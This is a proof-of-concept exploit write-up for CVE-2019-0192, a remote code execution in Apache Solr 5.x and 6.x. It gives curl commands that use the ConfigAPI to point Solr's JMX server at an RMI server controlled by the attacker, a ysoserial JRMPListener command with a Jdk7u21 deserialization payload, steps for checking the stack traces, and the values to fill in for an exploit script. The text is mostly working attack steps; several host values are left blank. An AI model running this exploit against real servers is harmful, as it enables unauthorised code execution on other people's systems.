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CVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5

This is an early PoC of the Apache Solr RCE


ConfigAPI allows to configure Solr's JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.

Proof Of Concept


By looking on the description of the security advisory and checking on the ConfigAPI ressources of Apache Solr, we can find a reference to a JMX server:


serviceUrl - (optional str) service URL for a JMX server. If not specified then the default platform MBean server will be used.

By checking how ConfigAPI is working we can reproduce how to set a remote JMX server:

curl -i -s -k  -X $'POST' \
    -H $'Host:' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://\"}}' \

For the PoC I will use yoserial to create a malicious RMI server using the payload Jdk7u21

  1. Start the malicous RMI server:
    java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
  2. Run the POST request:

    curl -i -s -k  -X $'POST' \
    -H $'Host:' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://\"}}' \
    note: you should get a 500 error with a nice stacktrace
  3. Check the stacktrace:

  • If you saw this error: "Non-annotation type in annotation serial stream" it's mean that Apache Solr is running with a java version > JRE 7u25 and this poc will not work

  • Otherwise you sould see this error: "undeclared checked exception; nested exception is" and the PoC should work.


  1. Download yoserial :
  2. Change values into the script:
remote = ""
ressource = ""
RHOST = ""
RPORT = "1099"
  1. Then execute the script:

Security Advisory: *



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